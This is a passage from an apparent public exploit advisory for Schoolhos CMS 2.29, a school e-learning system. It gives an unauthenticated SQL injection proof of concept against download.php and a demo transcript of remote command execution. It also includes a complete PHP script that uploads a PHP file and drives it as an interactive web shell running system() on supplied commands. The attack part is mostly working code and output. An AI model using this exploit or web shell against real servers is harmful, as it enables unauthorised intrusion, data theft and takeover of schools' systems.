\x0d\x0a-----------------------------26518470919255\x0d\x0a\x0d\x0a' \
'http://HOST/PATH/elearningku/proses.php?pilih=guru&untukdi=upload'
php file can be ccessed via : http://HOST/PATH/file/materi/0x4148.php
II - Unauthenticated sql injection
File : elearningku/download.php
Line 6
$file=mysql_query("SELECT * FROM sh_materi WHERE id_materi='$_GET[id]'");
$r=mysql_fetch_array($file);
$filename=$r[file_materi];
header("Content-Type: octet/stream");
header("Pragma: private");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($dir.$filename));
readfile("$dir$filename");
POC : versi_2.29/elearningku/download.php?id=-1' union select 1,version(),3,4,5,6,7,8-- -
DB version will be showed as filename
Script is really full of injection flaws , mentioning all of it is such waste of time
Full exploitation Demo
~0x4148fo# php scho.php http://192.168.0.50/lab/scho/versi_2.29/
[*] Schoolhos CMS 2.29 Remote command execution
[*] Author : Ahmed sultan (0x4148)
[*] Connect : 0x4148.com | 0x4148@gmail.com
+ Sending payload to http://192.168.0.50/lab/scho/versi_2.29/
+ Payload sent successfully
0x4148@http://192.168.0.50/lab/scho/versi_2.29/# dir
Volume in drive C is OS_Install
Volume Serial Number is D60F-0795
Directory of C:\xampp\htdocs\lab\scho\versi_2.29\file\materi
11/13/2016 02:03 AM
.
11/13/2016 02:03 AM ..
11/13/2016 02:03 AM 47 0x4148.php
11/30/2011 06:56 PM 8,522 aku.php
11/29/2011 02:02 AM 74 Alar Reproduksi.rar
11/29/2011 02:03 AM 74 albert.rar
11/29/2011 08:25 PM 12,326 ari.png
11/29/2011 08:27 PM 12,318 ari.rar
11/29/2011 06:57 PM 74 cerita.rar
11/29/2011 08:24 PM 0 contoh.txt
11/29/2011 02:05 AM 74 dos.rar
11/29/2011 02:01 AM 74 English1.rar
12/12/2011 11:13 AM 117 index.html
11/29/2011 02:10 AM 74 kekebalantubuh.rar
11/29/2011 02:11 AM 74 masa jenis.rar
11/29/2011 02:14 AM 74 office.rar
11/29/2011 02:06 AM 74 paragraf.rar
11/29/2011 02:04 AM 74 pemanasan.rar
11/29/2011 02:00 AM 74 polakalimat.rar
11/29/2011 02:15 AM 74 prepare.rar
11/29/2011 02:13 AM 74 proklamator.rar
11/29/2011 02:12 AM 74 sea games.rar
11/29/2011 02:05 AM 74 soekarno.rar
11/29/2011 02:09 AM 74 speaking.rar
11/29/2011 02:15 AM 74 ulangan INDO.rar
11/29/2011 02:11 AM 74 volume.rar
24 File(s) 34,662 bytes
2 Dir(s) 38,197,485,568 bytes free
0x4148@http://192.168.0.50/lab/scho/versi_2.29/# exit
~0x4148fo#
*/
$host=$argv[1];
$target="$host/elearningku/proses.php?pilih=guru&untukdi=upload";
echo "[*] Schoolhos CMS 2.29 Remote command execution\n";
echo "[*] Author : Ahmed sultan (0x4148)\n";
echo "[*] Connect : 0x4148.com | 0x4148@gmail.com\n\n";
echo " + Sending payload to $host\n";
fwrite(fopen("0x4148.php","w+"),'');
$x4148upload = curl_init();
curl_setopt($x4148upload, CURLOPT_URL, $target);
curl_setopt($x4148upload, CURLOPT_USERAGENT, "mozilla");
curl_setopt($x4148upload, CURLOPT_POST, 1);
curl_setopt($x4148upload, CURLOPT_RETURNTRANSFER, true);
curl_setopt($x4148upload, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath("0x4148.php")));
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($x4148upload);
curl_close($x4148upload);
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".base64_encode("echo '0x4148fo';"));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true);
$outp=curl_exec($x4148request);
curl_close($x4148request);
if(!preg_match("#0x4148fo#",$outp)){
echo " - Failed :(\n";
die();
}
echo " + Payload sent successfully\n\n";
while(0<1){
echo "0x4148@$host# ";
$command=trim(fgets(STDIN));
if($command=='exit'){
die();
}
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".urlencode(base64_encode("echo '>>>>>';system('$command');echo '>>>>>';")));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true);
$outp=curl_exec($x4148request);
curl_close($x4148request);
echo explode(">>>>>",$outp)[1]."\n";
}
?>